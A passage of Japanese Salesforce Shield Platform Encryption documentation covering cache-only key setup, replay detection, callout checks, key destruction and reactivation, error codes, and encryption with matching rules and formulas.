細は、『メタデータ API 開発者ガイド』の「EncryptionKeySettings」を参照して
ください。

メモ: [BYOK でキャッシュのみの鍵を許可]の選択を解除すると、キャッ
シュのみの鍵素材で暗号化されたデータは暗号化されたままになり、
Salesforce は引き続きセキュアなコールアウトを呼び出します。ただし、
キャッシュのみの鍵の設定変更や新規追加はできません。キャッシュの
みの鍵を使用しない場合は、鍵素材を循環させて顧客が指定した (BYOK)

鍵素材を使用します。その後で、すべてのデータを同期してから [BYOK

でキャッシュのみの鍵を許可] の選択を解除します。

6. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力
し、[鍵の管理] を選択します。

7. [テナントの秘密種別] ドロップダウンから鍵種別を選択します。
8. [Bring Your Own Key] を選択します。
9. [証明書の選択] ドロップダウンから BYOK 互換の証明書を選択します。
10. [キャッシュのみの鍵の使用] を選択します。
11. [一意の鍵識別子] に、KID (データ暗号化鍵の一意の鍵識別子) を入力します。識別子は、数値、文字列

(2018_data_key など)、または UUID (982c375b-f46b-4423-8c2d-4d1a69152a0b など) にできます。
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12. [指定ログイン情報] ドロップダウンで、鍵に関連付けられている指定ログイン情報を選択します。指定ロ
グイン情報ごとに複数の鍵を関連付けることができます。

Salesforce が指定ログイン情報で指定されたエンドポイントへの接続を確認します。エンドポイントにアク
セスできる場合、[一意の鍵識別子] に指定された鍵が有効な鍵になります。暗号化ポリシーで暗号化対象
としてマークされたデータはすべて、キャッシュのみの鍵で暗号化されます。
指定されたエンドポイントにアクセスできない場合、接続のトラブルシューティングに役立つエラーが表
示されます。

[鍵の管理] ページで、キャッシュのみの鍵の状況は「取得済み」として記録されます。Enterprise API では、
TenantSecret Source 値が Remote としてリストされます。

ヒント: 設定変更履歴で鍵の設定のコールアウトを監視できます。有効またはアーカイブされたキャッ
シュのみの鍵へのコールアウトが成功すると、設定変更履歴に「有効」状況が記録されます。設定変更
履歴では個々のコールアウトは監視されません。
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キャッシュのみの鍵のリプレイ検出の追加

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition。
Salesforce Shield または
Shield Platform Encryption、
およびキャッシュのみの
鍵サービスの購入が必要
です。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

指定ログイン情報を作
成、編集、削除する
• 「アプリケーションの

カスタマイズ」

キャッシュのみの鍵のリ
プレイ検出を有効にする
• 「アプリケーションの

カスタマイズ」

および

暗号化鍵の管理

テナントの秘密および顧
客が指定した鍵素材を生
成、破棄、エクスポー
ト、インポート、アップ
ロード、設定する
• 「暗号化鍵の管理」

リプレイ検出は、コールアウトが不正に傍受された場合にキャッシュのみの鍵
を保護します。有効化すると、リプレイ検出は、RequestIdentifier という自動生成
された一意のマーカーをすべてのコールアウトに挿入します。RequestIdentifier に
は、鍵識別子、そのコールアウトインスタンス用に生成された nonce、エンドポ
イントから要求される nonce が含まれます。RequestIdentifier は、有効な各コール
アウト要求のランダムな 1 回限りの識別子として機能します。RequestIdentifier を
受け入れて返すように鍵サービスを設定すると、RequestIdentifier が欠落または不
一致のコールアウトはすべて中止されます。
1. コールアウトインスタンス用に生成された nonce を RequestIdentifier から抽出す

るように鍵サービスを更新します。nonce は次のようになります。
e5ab58fd2ced013f2a46d5c8144dd439

2. JWE で保護されたヘッダー内に、コンテンツ暗号化鍵の暗号化に使用される
アルゴリズム、データ暗号化鍵の暗号化に使用されるアルゴリズム、キャッ
シュのみの鍵の一意の ID と一緒に、この nonce をそのまま含めます。次に例
を示します。

{"alg":"RSA-OAEP","enc":"A256GCM","kid":"982c375b-f46b-4423-8c2d-4d1a69152a0b","jti":"e5ab58fd2ced013f2a46d5c8144dd439"}

3. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力し、[高度な設定] を選択しま
す。

4. [キャッシュのみの鍵のリプレイ検出を有効化] を選択します。
リプレイ検出をプログラムで有効にすることもできます。詳細は、『メタデータ API 開発者ガイド』の
「EncryptionKeySettings」を参照してください。
これ以降、外部の鍵サービスへのコールアウトすべてに一意の RequestIdentifier が含まれます。
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警告: リプレイ検出を有効にしたにも関わらず、キャッシュのみの鍵素材で nonce が返されない場合、
Salesforce はコールアウト接続を中止し、POTENTIAL_REPLAY_ATTACK_DETECTED エラーを表示します。

キャッシュのみの鍵の接続の確認

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition。
Salesforce Shield または
Shield Platform Encryption、
およびキャッシュのみの
鍵サービスの購入が必要
です。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密および顧
客が指定した鍵素材を生
成、破棄、エクスポー
ト、インポート、アップ
ロード、設定する
• 「暗号化鍵の管理」

キャッシュのみの鍵素材は Salesforce の外部に保存されるため、機能するコール
アウト接続を維持することが重要です。[コールアウトチェック] ページを使用し
て接続を監視し、鍵サービスでの鍵の取得を妨げる可能性がある鍵サービスの
中断にすばやく対応します。
[キャッシュのみの鍵: コールアウトチェック] ページは、組織でキャッシュのみ
鍵サービスを有効にして最初のコールアウトを実行した後にアクセスできるよ
うになります。コールアウトチェックの一部として表示されるデータは、記録
システムには保存されません。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[鍵の管理] を選択します。
2. 一意の鍵識別子に関連付けられている証明書の一意の名前と指定ログイン情

報を選択します。
3. [アクション] 列で、チェックする鍵素材の横にある[詳細]をクリックします。
4. [キャッシュのみの鍵: コールアウトチェック] ページで、[チェック] をクリッ

クします。
コールアウト接続に関する詳細がページに表示されます。コールアウトチェッ
クが完了して結果が表示されるまで数分かかる場合があります。
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5. コールアウト接続の詳細を確認します。コールアウト接続が失敗した場合、結果ペインの下部に説明を含
むエラーメッセージが表示されます。このメッセージを使用して、鍵サービスに適切な調整を加えます。
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キャッシュのみの鍵の破棄

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition。
Salesforce Shield または
Shield Platform Encryption、
およびキャッシュのみの
鍵サービスの購入が必要
です。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密および顧
客が指定した鍵素材を生
成、破棄、エクスポー
ト、インポート、アップ
ロード、設定する
• 「暗号化鍵の管理」

キャッシュのみの鍵を破棄すると、キャッシュ内の鍵と、鍵サービスへのコー
ルアウト接続の 2 つが破棄されます。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[鍵の管理] を選択します。
2. [テナントの秘密種別] ドロップダウンから鍵種別を選択します。
3. [破棄] をクリックします。

鍵素材の状況が「破棄済み」に変化し、この鍵へのコールアウトが停止しま
す。アプリケーションでは、この鍵素材で暗号化されたデータが「?????」で
マスクされます。

メモ: キャッシュのみの鍵は、組織および適用される特定のデータに固有
です。キャッシュのみの鍵を破棄すると、再有効化して Salesforce で取得で
きることを確認するまで関連データにアクセスできなくなります。
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キャッシュのみの鍵の再有効化

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition。
Salesforce Shield または
Shield Platform Encryption、
およびキャッシュのみの
鍵サービスの購入が必要
です。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密および顧
客が指定した鍵素材を生
成、破棄、エクスポー
ト、インポート、アップ
ロード、設定する
• 「暗号化鍵の管理」

Salesforce で破棄された鍵に指定ログイン情報がまだ関連付けられている場合、
[設定] から、または API を使用してプログラムで破棄されたキャッシュのみの鍵
を再有効化できます。破棄された鍵を再有効化すると、鍵が有効になります。
破棄された鍵を再有効化する前に、対応する鍵サービス接続が回復しているこ
とを確認します。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[鍵の管理] を選択します。
2. 再有効化するキャッシュのみの鍵の横にある [有効化] をクリックします。

Shield 鍵管理サービスは、鍵サービスから再有効化されたキャッシュのみの鍵を取得し、以前その鍵で暗号
化されたデータへのアクセスに使用します。

メモ: 他の鍵素材の場合と同様に、データを有効なキャッシュのみの鍵に合わせて同期できます。
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キャッシュのみの鍵に関する考慮事項

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

次の考慮事項は、Shield Platform Encryption のキャッシュのみの鍵サービスを使用
して暗号化するすべてのデータに適用されます。

再試行ポリシー
Salesforce が外部の鍵サービスにアクセスできない場合、コールアウトは失敗し、
有効なキャッシュのみの鍵の状況は「破棄済み」に設定されます。これにより、
どちらのサービスでも過剰な負荷が回避されます。その後、ダウン時間を最小
限に抑えるため、キャッシュのみの鍵サービスは定期的にコールアウトを再試
行します。再試行は、5 分間は 1 分に 1 回、その後の 24 時間は 5 分に 1 回行われ
ます。この再試行期間中にキャッシュのみの鍵サービスがコールアウトを正常
に完了できると、キャッシュのみの鍵の状況は「有効」にリセットされます。
再試行期間中のどの時点でも、[設定] で鍵素材を有効にできます。または、API

で使用可能状況が待機中のリモート鍵サービスを有効にすることもできます。
再試行期間中に鍵素材を再有効化すると、すべての再試行が停止します。
RemoteKeyCalloutEvent オブジェクトは、鍵サービスへのすべてのコールアウトを
取得します。after insert Apex トリガを使用してこのイベントに登録し、コールア
ウトが失敗したら通知するリアルタイムアラートを設定できます。

401 HTTP 応答
401 HTTP 応答の場合、Salesforce は指定ログイン情報に関連付けられているすべての OAuth トークンを自動的に
更新し、要求を再試行します。

Tableau CRM

Tableau CRM データのバックアップは、Shield Platform Encryption の鍵で暗号化されます。Tableau CRM データセット
のデータをキャッシュのみの鍵で暗号化する場合は、Analytics のキャッシュのみの鍵が、「Salesforce のデータ」
種別のキャッシュのみの鍵と同じ状態であることを確認します。

Setup Audit Trail

キャッシュのみの鍵を再有効化するとき、その鍵が「有効」状況で存在するかどうかに応じて、設定変更履歴
では有効化されたキャッシュのみの鍵のバージョンを異なる方法で記録します。
一方、破棄された鍵を再有効化するとき、「有効」状況の別の鍵がすでに存在する場合、設定変更履歴には、
再有効化された鍵が更新されたバージョン番号で表示されます。

キャッシュのみの鍵と鍵種別
暗号化するデータの種別ごとに異なるキャッシュのみの鍵を使用します。キャッシュのみの鍵を複数の鍵種別
で使用することはできません。たとえば、同じキャッシュのみの鍵を使用して検索インデックスと Einstein

Analytics データの両方を暗号化することはできません。
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サービス保護
Shield KMS の中断を防御し、暗号化および復号化プロセスを円滑に行うために、種別ごとに最大 10 個のキャッ
シュのみの鍵を有効またはアーカイブ済みにできます。
鍵制限に達した場合は、既存の鍵を破棄して鍵を作成、アップロード、再有効化、再アーカイブできるように
するか、別の鍵へのコールアウトを作成します。鍵素材を破棄する前に、データを有効な鍵を使用して同期し
てください。

キャッシュのみの鍵のトラブルシューティング

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

次に紹介するよくある質問を、Shield Platform Encryption のキャッシュのみの鍵サー
ビスで問題が発生した場合のトラブルシューティングに役立ててください。
鍵サービスへのコールアウトが正常に終了しません。どうすればよいですか?

コールアウトが失敗する原因はいくつかあります。表示されたエラーメッ
セージを確認し、次のヒントに従って問題を解決してください。すべての
コールアウトは RemoteKeyCalloutEvent オブジェクトに記録されます。

表 3 : キャッシュのみの鍵サービスのエラーと状況コード
問題修正のヒントエラーRemoteKeyCalloutEvent

状況コード

問題を調べるには、HTTP

応答コードを確認しま
す。

The remote key service
returned an HTTP error: {000}.

(リモート鍵サービスか
ら次の HTTP エラーが返
されました: {000}。)A
successful HTTP response will

DESTROY_HTTP_CODE

return a 200 code. (成功する
と HTTP 応答コード 200 が
返されます。)

問題を調べるには、HTTP

応答コードを確認しま
す。

The remote key service
returned an unsupported
HTTP response code: {000}.

(リモート鍵サービスか

ERROR_HTTP_CODE

らサポートされていない
次の HTTP 応答コードが
返されました: {000}。)A
successful HTTP response will

return a 200 code. (成功する
と HTTP 応答コード 200 が
返されます。)

指定ログイン情報が適切
に設定され、正しい

The remote key service
returned a content encryption
key in the JWE that couldn't

MALFORMED_CONTENT_ENCRYPTION_KEY

BYOK 互換の証明書を使
be decrypted with the
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問題修正のヒントエラーRemoteKeyCalloutEvent 状況コー
ド

certificate's private key. (リモート鍵
サービスから JWE で返されたコン

用していることを確認します。

テンツ暗号化鍵を証明書の非公開
鍵で復号化できませんでし
た。)Either the JWE is corrupted, or the
content encryption key is encrypted with

a different key. (JWE が破損している
か、コンテンツ暗号化鍵が別の鍵
を使用して暗号化されています。)

指定ログイン情報が適切に設定さ
れ、正しい BYOK 互換の証明書を使

The content encryption key couldn't
decrypt the data encryption key that was
returned in the remote key service's JWE.

MALFORMED_DATA_ENCRYPTION_KEY

用していることを確認します。指
(リモート鍵サービスの JWE で返さ 定ログイン情報は HTTPS エンドポ
れたデータ暗号化鍵をコンテンツ イントをコールアウトする必要が

あります。暗号化鍵で復号化できませんでし
た。)The data encryption key is either
malformed, or encrypted with a different

content encryption key. (データ暗号化
鍵が不正な形式であるか、別のコ
ンテンツ暗号化鍵で暗号化されて
います。)

リモート鍵サービスに問い合わせ
ます。

We can't parse the JSON returned by your

remote key service. (リモート鍵サービ
スから返された JSON を解析できま

MALFORMED_JSON_RESPONSE

せん。)Contact your remote key service

for help. (リモート鍵サービスにお問
い合わせください。)

リモート鍵サービスに問い合わせ
ます。

The remote key service returned a
malformed JWE token that can't be

decoded. (リモート鍵サービスから

MALFORMED_JWE_RESPONSE

返された JWE トークンが不正な形
式であるため、復号化できませ
ん。)Contact your remote key service for

help. (リモート鍵サービスにお問い
合わせください。)

リモート鍵サービスに問い合わせ
ます。

The remote key service callout returned

an empty response. (リモート鍵サー
ビスのコールアウトで空の応答が

EMPTY_RESPONSE

返されました。)Contact your remote

key service for help. (リモート鍵サー
ビスにお問い合わせください。)
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問題修正のヒントエラーRemoteKeyCalloutEvent 状況コー
ド

複数回コールアウトを試行しても
鍵サービスを使用できない場合

The remote key service callout took too

long and timed out. (リモート鍵サー
ビスのコールアウトに時間がかか

RESPONSE_TIMEOUT

は、リモート鍵サービスに問い合
わせます。りすぎてタイムアウトしまし

た。)Try again. (もう一度お試しくだ
さい。)

リモート鍵サービスに問い合わせ
ます。

The remote key service callout failed and

returned an error: {000}. (リモート鍵
サービスのコールアウトが失敗

UNKNOWN_ERROR

し、次のエラーが返されました:

{000}。)

指定ログイン情報が適切に設定さ
れ、正しい BYOK 互換の証明書を使
用していることを確認します。

The remote key service returned JSON with

an incorrect key ID. (リモート鍵サービ
スから誤った鍵 ID を含む JSON が
返されました。)Expected: {valid keyID}.

INCORRECT_KEYID_IN_JSON

(想定値: {valid keyID}。)Actual: {invalid

keyID}. (実際の値: {invalid keyID}。)

指定ログイン情報が適切に設定さ
れ、正しい BYOK 互換の証明書を使
用していることを確認します。

The remote key service returned a JWE

header with an incorrect key ID. (リモー
ト鍵サービスから誤った鍵 ID を含
む JWE ヘッダーが返されまし

INCORRECT_KEYID_IN_JWE_HEADER

た。)Expected: {valid keyID}. (想定値:

{valid keyID}。)Actual: {invalid keyID}. (実
際の値: {invalid keyID}。)

JWE ヘッダー内のコンテンツ暗号
化鍵を暗号化するアルゴリズムは

The remote key service returned a JWE
header that specified an unsupported

algorithm (alg): {algorithm}. (リモート

INCORRECT_ALGORITHM_IN_JWE_HEADER

RSA-OAEP 形式である必要がありま
す。鍵サービスから次のサポート対象

外のアルゴリズム (alg) が指定され
た JWE ヘッダーが返されました:

{algorithm}。)

JWE ヘッダー内のデータ暗号化鍵
を暗号化するアルゴリズムは

The remote key service returned a JWE
header that specified an unsupported

encryption algorithm (enc): {your enc}. (リ

INCORRECT_ENCRYPTION_ALGORITHM_IN_JWE_HEADER

A256GCM 形式である必要がありま
す。モート鍵サービスから次のサポー

ト対象外の暗号化アルゴリズム
(enc) が指定された JWE ヘッダーが
返されました: {your enc}。)
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問題修正のヒントエラーRemoteKeyCalloutEvent 状況コー
ド

データ暗号化鍵が 32 バイトである
ことを確認します。

Data encryption keys encoded in a JWE

must be 32 bytes. (JWE 内のエンコー
ドされたデータ暗号化鍵は 32 バイ

INCORRECT_DATA_ENCRYPTION_KEY_SIZE

トである必要があります。)データ
暗号化鍵が {value} バイトです。

サポート対象外のパラメータを JWE

ヘッダーから削除します。
Your JWE header must use {0}, but no

others. (JWE ヘッダーで使用できる
のは {0} のみです。)Found: {1}. (見つ
かった値: {1}。)

ILLEGAL_PARAMETERS_IN_JWE_HEADER

JWE ヘッダーに必須の値がすべて
含まれていることを確認します。

Your JWE header is missing one or more

parameters. (JWE ヘッダーで 1 つ以上
のパラメータがありませ

MISSING_PARAMETERS_IN_JWE_HEADER

たとえば、リプレイ検出が有効に
ん。)Required: {0}. (必須の値:

{0}。)Found: {1}. (見つかった値: {1}。)
なっている場合は、JWE ヘッダー
にキャッシュのみの鍵のコールア
ウトから抽出された nonce 値が含
まれている必要があります。

選択した指定ログイン情報の認証
設定を確認します。

Authentication with the remote key service

failed with the following error: {error}. (リ
モート鍵サービスでの認証が次の
エラーで失敗しました: {error}。)

AUTHENTICATION_FAILURE_RESPONSE

コールアウトに含まれている
RequestID が JWE ヘッダーに含まれ
ていることを確認します。

The remote key service returned a JWE

header with an incorrect nonce value. (リ
モート鍵サービスから誤った nonce

値を含む JWE ヘッダーが返されま

POTENTIAL_REPLAY_ATTACK_DETECTED

した。)Expected: {0}. (想定値:

{0}。)Actual: {1} (実際の値: {1})

キャッシュのみの鍵の証明書の期
限が切れています。有効な BYOK 互

The remote key service callout failed and
returned an error:
java.security.cert.CertificateExpiredException:

UNKNOWN_ERROR

換の証明書を使用するように
NotAfter: {date and time of expiration} (リ キャッシュのみの鍵素材を更新し

ます。モート鍵サービスのコールアウト
が失敗し、次のエラーが返されま
した:
java.security.cert.CertificateExpiredException:
NotAfter: {date and time of expiration})

次の鍵サービスエラーによってコールアウトを完了できなくなることがあります。これらの問題に関連す
るエラーが表示されたら、鍵サービスのシステム管理者にお問い合わせください。
• JWE が破損しているか、不正な形式である。
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• データ暗号化鍵が不正な形式である。
• 鍵サービスから不正な形式の JWE トークンが返された。
• 鍵サービスから空の応答が返された。
リソースが均一に使用されるように、Salesforce では鍵サービスの各コールアウトの時間を 3 秒に制限して
います。割り当て時間を超過したコールアウトはタイムアウトエラーで失敗します。鍵サービスが使用可
能であることを確認します。指定ログイン情報が必ず正しいエンドポイントを参照するようにし、IP アド
レスを含む、URL を確認します。

Apex でリモートコールアウトを実行できますか?

はい。Apex コールアウトで指定ログイン情報をコールアウトエンドポイントとして指定するすべての認証
が Salesforce によって管理されるため、コードでこれらを行う必要はありません。コールアウト定義から指
定ログイン情報を参照するには、指定ログイン情報 URL を使用します。指定ログイン情報 URL にはスキー
ム callout、指定ログイン情報の名前、必要に応じて追加されたパスが含まれます。例:

callout:My_Named_Credential/some_path。
詳細は、『Apex 開発者ガイド』の「コールアウトエンドポイントとしての指定ログイン情報」を参照して
ください。

コールアウト履歴を監視できますか?

キャッシュのみの鍵イベントを確認または追跡する場合は、RemoteKeyCalloutEvent 標準オブジェクトを使用
します。describeSObjects() コールを使用してイベント情報を表示するか、after insert Apex トリガを使
用して各コールアウトの後にカスタムオブジェクトを実行します。たとえば、RemoteKeyCalloutイベン
トをカスタムオブジェクトに保存するトリガを作成できます。RemoteKeyCalloutイベントをカスタムオ
ブジェクトに保存すると、コールアウト履歴を監視できます。詳細は、『SOAP API 開発者ガイド』の
RemoteKeyCalloutEvent エントリを参照してください。
設定変更履歴では、鍵素材の状態と指定ログイン情報設定の変更が追跡されます。コールアウト履歴はロ
グファイルには記録されません。

キャッシュのみの鍵で暗号化されたデータにアクセスしようとすると、データではなく「?????」と表示されま
す。なぜですか?

マスクは、次の 2 つのいずれかを意味します。鍵サービスへの接続が切断されて鍵を取得できないか、デー
タが破棄された鍵で暗号化されているかです。鍵サービスが使用可能で、指定ログイン情報が正しいエン
ドポイントを参照していることを確認します。鍵サービスが失敗したために鍵バージョンが「破棄済み」
とマークされている場合、接続を回復して手動でその鍵バージョンを有効化します。

鍵を循環させるたびに新しい指定ログイン情報を作成する必要がありますか?

いいえ。1 つの指定ログイン情報を複数の鍵で使用できます。既存の指定ログイン情報で指定されたエンド
ポイントで鍵素材をホストしている限り、他に必要はありません。鍵素材を循環させるときは、一意の鍵
識別子項目の鍵 ID を変更します。新しい鍵が指定ログイン情報で指定されたエンドポイント URL に保存さ
れていることを再確認します。

まだ鍵に関する問題があります。どこに問い合わせすればよいですか?

上記以外にも質問がある場合は、アカウントエグゼクティブまたは Salesforce カスタマーサポートまでお問
い合わせください。この機能を専門とするサポートチームをご紹介します。
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Shield Platform Encryption のカスタマイズ
エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

機能と設定の中には、暗号化データを操作する前に調整を必要とするものがあ
ります。

このセクションの内容:

一致ルールで使用される項目への暗号化の適用
重複管理で一致ルールを使用すると、クリーンで正確なデータを維持するの
に役立ちます。標準およびカスタムの一致ルールに適合する Shield Platform

Encryption を使用して項目を暗号化するには、確定的暗号化スキームを使用し
ます。
数式での暗号化されたデータの使用
カスタム数式項目を使用すると、暗号化されたデータをすばやく見つけるこ
とができます。Shield Platform Encryption は複数の演算子および関数に対応して
おり、暗号化データを text、date、および date/time 形式で表示でき、クイック
アクションを参照できます。

一致ルールで使用される項目への暗号化の適用

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

設定を参照する
• 「設定・定義の参照」

暗号化鍵 (テナントの秘密)
管理を有効にする
• 「プロファイルと権限

セットの管理」

重複管理で一致ルールを使用すると、クリーンで正確なデータを維持するのに
役立ちます。標準およびカスタムの一致ルールに適合する Shield Platform Encryption

を使用して項目を暗号化するには、確定的暗号化スキームを使用します。
[プラットフォームの暗号化] の [高度な設定] ページで、[確定的暗号化]を有効に
するようにシステム管理者に依頼してください。テナントの秘密種別に [Salesforce

のデータ (確定的)] がない場合は、[プラットフォームの暗号化] の [鍵の管理] ペー
ジで作成します。

重要: 重複管理で使用される一致ルールでは、確率的暗号化データはサポー
トされていません。

既存のカスタム一致ルールに暗号化項目を追加する手順は、次のとおりです。
1. [設定] の [クイック検索] ボックスに「一致ルール」と入力し、[一致ルール]を

選択します。
2. 暗号化する項目を参照する一致ルールを無効にします。一致ルールが有効な

重複ルールに関連付けられている場合、先に [重複管理] ページでその重複
ルールを無効にします。その後で、[一致ルール] ページに戻り、一致ルール
を無効にします。

3. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力
し、[暗号化ポリシー] を選択します。

4. [項目を暗号化] をクリックします。
5. [編集] をクリックします。
6. 暗号化する項目を選択し、[暗号化スキーム] リストから [確定的] を選択しま

す。
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7. [保存] をクリックします。

ヒント: 標準一致ルールは、そのルールで参照している項目に暗号化が追加されたときに自動的に無
効化されます。標準一致ルールで参照される項目を暗号化するには、手順 3 ～ 8 を実行します。

8. 項目の暗号化が有効になったことを確認するメールを受信した後、一致ルールおよび関連付けられた重複
管理ルールを再度有効化します。
重複管理で使用される一致ルールは、暗号化データにある完全一致とあいまい一致を返すようになります。

例: 取引先の [住所(請求先)] を最近暗号化し、カスタム一致ルールにこの項目を追加したいとします。最
初に、この項目を追加するルールを無効にします。[住所(請求先)] が確定的暗号化スキームで暗号化され
ることを確認します。次に、その他の項目の場合と同じように、カスタム一致ルールに [住所(請求先)] を
追加します。最後に、ルールを再有効化します。

鍵素材を循環する場合、暗号化項目を参照するカスタム一致ルールを更新する必要があります。鍵素材を循環
したら、影響を受ける一致ルールを無効化してから再有効化します。その後、Salesforce に連絡し、バックグラ
ウンド暗号化プロセスを依頼してください。バックグラウンド暗号化プロセスが完了したら、一致ルールは有
効な鍵素材で暗号化されたすべてのデータにアクセスできます。

重要: 正確な一致結果を得るには、この機能のベータバージョンを使用したお客様は、暗号化項目を参照
する一致ルールをすべて無効化してから、再度有効化する必要があります。カスタム一致ルールの再有
効化に失敗した場合は、Salesforce に連絡して、一致インデックスの再有効化を依頼してください。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点
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数式での暗号化されたデータの使用

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

カスタム数式項目を使用すると、暗号化されたデータをすばやく見つけること
ができます。Shield Platform Encryption は複数の演算子および関数に対応しており、
暗号化データを text、date、および date/time 形式で表示でき、クイックアクショ
ンを参照できます。

サポートされる演算子、関数、アクション
サポートされる演算子と関数は次のとおりです。
• & および +  (連結)

• BLANKVALUE

• CASE

• HYPERLINK

• IF

• IMAGE

• ISBLANK

• ISNULL

• NULLVALUE

その他のサポート対象
• 拡大
• クイックアクション
数式は、text、date、または date/time 形式でのみデータを返すことができます。

& と +  (連結)

(encryptedField__c & encryptedField__c)
正しく機能する例:

& はサポートされているため、これは正しく機能します。正しく機能する理由:

LOWER(encryptedField__c & encryptedField__c)
正しく機能しない例:

LOWER はサポートされていない関数であり、入力が暗号化された値になってい
ます。

正しく機能しない理由:

Case

CASE は暗号化された項目値を返しますが、それらを比較しません。

CASE(custom_field__c, "1", cf2__c, cf3__c))
正しく機能する例:
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cf2__c と cf3__c のいずれかまたは両方が暗号化されている場合

custom_field__cは「1」と比較されます。true の場合、この数式は 2 つの暗号
化された値を比較しないため、cf2__c を返します。

正しく機能する理由:

CASE("1", cf1__c, cf2__c, cf3__c)
正しく機能しない例:

cf1__c が暗号化されている場合

暗号化された値を比較することはできません。正しく機能しない理由:

ISBLANK および ISNULL

OR(ISBLANK(encryptedField__c), ISNULL(encryptedField__c))
正しく機能する例:

ISBLANK と ISNULL の両方がサポートされています。この例では、ISBLANK お
よび ISNULLは暗号化された値ではなく Boolean 値を返すため、ORが正しく機能
します。

正しく機能する理由:

拡大

(LookupObject1__r.City & LookupObject1__r.Street) &
(LookupObject2__r.City & LookupObject2__r.Street) &

正しく機能する例:

(LookupObject3__r.City & LookupObject3__r.Street) &
(LookupObject4__r.City & LookupObject4__r.Street)

拡大では、複数のエンティティから暗号化されたデータが取得されます。たと
えば、Universal Containers のカスタマーサービス部門の担当者が、ある顧客が登録

これを使用する方法と理由:

したケースの配送の問題の範囲を確認するとします。その場合、このケースに
関連するすべての納入先住所が必要です。この例では、ケースレイアウト内で
顧客のすべての配送先アドレスを 1 つの文字列として返します。

入力規則
暗号化の検証サービスは、組織に暗号化された数式項目種別と互換性があることを確認します。
特定の項目を暗号化すると、検証サービスは次のことを実行します。
• その項目を参照するすべての数式項目を取得する
• 数式項目に暗号化との互換性があることを検証する
• 数式項目が他の場所で絞り込みや並び替えに使用されていないことを確認する
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制限
最大 200 個の数式項目で特定の暗号化カスタム項目を参照できます。200 個を超える数式項目で参照されてい
る項目は、暗号化できません。200 個を超える数式項目で暗号化カスタム項目を参照する必要がある場合は、
Salesforce にお問い合わせください。
暗号化する項目を一度に複数指定する場合、200 個の項目制限がバッチ全体に適用されます。暗号化する項目
が複数の数式項目で指し示されている項目であることがわかっている場合、それらの項目を一度に暗号化しま
す。

Shield Platform Encryption のトレードオフおよび制限事項
エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield Platform Encryption と同様に強力なセキュリティソリューションには、一部
のトレードオフが伴います。データが暗号化されていると、一部のユーザの機
能に制約が生じる場合があり、一部の機能はまったく使用できなくなります。
暗号化戦略を策定する場合は、ユーザおよび全体的なビジネスソリューション
に対する影響を考慮します。

このセクションの内容:

Shield Platform Encryption のベストプラクティス
組織にとって可能性が最も高い脅威を特定します。このプロセスは、必要な
データのみを暗号化できるように、暗号化が必要なデータと不要なデータを
区別するのに役立ちます。テナントの秘密と鍵がバックアップされているこ
とを確認し、秘密および鍵の管理を許可するユーザを慎重に検討します。
Shield Platform Encryption の一般的な考慮事項
次の考慮事項は、Shield Platform Encryption を使用して暗号化するすべてのデー
タに適用されます。
確定的暗号化を使用する場合の考慮事項
これらの考慮事項は、Shield Platform Encryption の確定的暗号化スキームで暗号化されたデータに適用されま
す。確定的暗号化スキームでデータを暗号化するときに大文字と小文字を区別するかどうかによって、示
される考慮事項が異なる場合があります。
Shield Platform Encryption と Lightning Experience

Shield Platform Encryption は、Lightning Experience でも Salesforce Classic と同様に動作しますが、いくつか軽微な例
外があります。
Shield Platform Encryption による項目の制限
一定の状況で項目を暗号化すると、その項目に保存する値に制限を課すことができます。ユーザが非 ASCII

値 (中国語、日本語、韓国語エンコードデータなど) を入力することが予想される場合は、次の項目の制限
を強制適用する入力規則を作成することをお勧めします。
Shield Platform Encryption がサポートされない Salesforce アプリケーションは?

一部の Salesforce 機能は、Shield Platform Encryption で暗号化されたデータを操作するときに期待どおりに動作
します。それ以外の機能セットは期待どおりに動作しません。
